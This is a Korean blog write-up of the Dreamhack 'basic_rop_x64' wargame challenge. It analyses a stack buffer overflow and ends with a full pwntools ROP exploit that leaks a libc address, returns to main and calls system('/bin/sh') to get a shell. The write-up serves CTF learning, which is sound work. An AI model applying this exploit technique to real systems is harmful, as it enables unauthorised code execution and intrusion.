문제 : https://dreamhack.io/wargame/challenges/29
basic_rop_x64
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일
dreamhack.io
Environment
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- No canary : canary를 leak하는 과정이 필요하지 않다.
- PIE : plt, got 등 코드 영역의 주소가 변화되지 않는다.
- Partial RELRO : 일부 영역의 쓰기 권한이 없다
- NX enabled : 스택에 실행 권한이 존재하지 않는다.
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
Vulnerability Type : Stack buffer Overflow (BOF)
현재 buf는 0x40만큼 할당되어 있다.
read는 0x400만큼 입력받고, buf의 크기만큼 buf에 있는 값을 화면에 출력한다.
read할 때 입력 크기의 제한보다 buf의 크기가 작으므로 스택 버퍼 오버플로우 가능성이 존재한다.
해당 코드를 취약하다고 판단한 이유는 다음과 같다.
- 입력 크기 제한 > 버퍼 크기
- 스택 상 연속된 메모리 구조 침범 가능성 -> return addr에 접근 가능
- 실행 흐름 조작 가능성
- 보호 기법을 bypass할 수 있음
이에 따라 해당 코드는 익스플로잇이 가능하다
Exploit Idea
- buf와 SFP의 값 덮기
- RET 부분에 rop를 만들어 ret2main하기
write(1,read@got,0) + main 주소 -> ret2main 기법
* rop 문제처럼 read@got를 읽어서 stdin을 read하여 실행시킬 수 있지만, ret2main기법을 사용해보겠다
Stack Frame
Dump of assembler code for function main:
0x00000000004007ba <+0>: push rbp
0x00000000004007bb <+1>: mov rbp,rsp
0x00000000004007be <+4>: sub rsp,0x50
0x00000000004007c2 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>: lea rdx,[rbp-0x40]
0x00000000004007cd <+19>: mov eax,0x0
0x00000000004007d2 <+24>: mov ecx,0x8
0x00000000004007d7 <+29>: mov rdi,rdx
0x00000000004007da <+32>: rep stos QWORD PTR es:[rdi],rax
0x00000000004007dd <+35>: mov eax,0x0
0x00000000004007e2 <+40>: call 0x40075e <initialize>
0x00000000004007e7 <+45>: lea rax,[rbp-0x40]
0x00000000004007eb <+49>: mov edx,0x400
0x00000000004007f0 <+54>: mov rsi,rax
0x00000000004007f3 <+57>: mov edi,0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
0x00000000004007fd <+67>: lea rax,[rbp-0x40]
0x0000000000400801 <+71>: mov edx,0x40
0x0000000000400806 <+76>: mov rsi,rax
0x0000000000400809 <+79>: mov edi,0x1
0x000000000040080e <+84>: call 0x4005d0 <write@plt>
0x0000000000400813 <+89>: mov eax,0x0
0x0000000000400818 <+94>: leave
0x0000000000400819 <+95>: ret
End of assembler dump.
0x50만큼의 stack을 사용한다.
또한 buf는 rbp-0x40에 위치한다는 것을 확인할 수 있다.
Exploit Scenario
system 함수 주소 계산
- libc의 base주소를 구하기 : read@got - read offset
- system 함수의 offset 구하기
- system 함수의 주소 = libc base + system offset
즉, read@got를 읽어야한다.
write(1, read@got, 8)으로 read@got를 출력하여 read 함수의 주소를 획득할 수 있다.
"/bin/sh" 문자열 읽기
gdb를 run 한 상태로
pwndbg> search "/bin/sh"
Searching for byte: b'/bin/sh'
libc.so.6 0x7ffff7f62678 0x68732f6e69622f /* '/bin/sh' */
이를 통해 /bin/sh를 찾을 수도 있고
sh = list(libc.search(b"/bin/sh"))[0]
pwntools로 찾을 수도 있다.
"/bin/sh" = libc base + "/bin/sh" offset이다.
ret2main
write(1, read@got, 8) 코드 이후, main의 주소를 넣는 rop를 완성한다. 이렇게 되면 다시 main으로 돌아올 수 있다.
쉘 획득
system("/bin/sh")를 실행한다.
pop rdi; ret 가젯을 사용하여 셀을 획득한다.
pwntools의 ROP 클래스 메서드 함수인 find_gadget을 사용하여 구할 수 있다.
Exploit Code
from pwn import *
p = remote("host3.dreamhack.games",17345)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
r = ROP(e)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']
read_offset = libc.sym['read']
system_offset = libc.sym['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret']).address
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret']).address
ret = r.find_gadget(['ret']).address
payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main)
p.send(payload)
read = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read - read_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset
payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
Feedback
main으로 돌아가야 다시 입력을 받을 수 있다는 사실을 잊지 말자..
main으로 돌아가는 과정을 쓰지 않았다가 조금 꼬였다.
'Hacking > Write Up' 카테고리의 다른 글
[Pwnable] fho (0) | 2025.05.09 |
---|---|
[Pwnable] basic_rop_x86 (0) | 2025.05.08 |
[Pwnable] rop (0) | 2024.12.29 |
[BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up (1) | 2024.11.12 |
[Pwnable] Return to Library (2) | 2024.09.16 |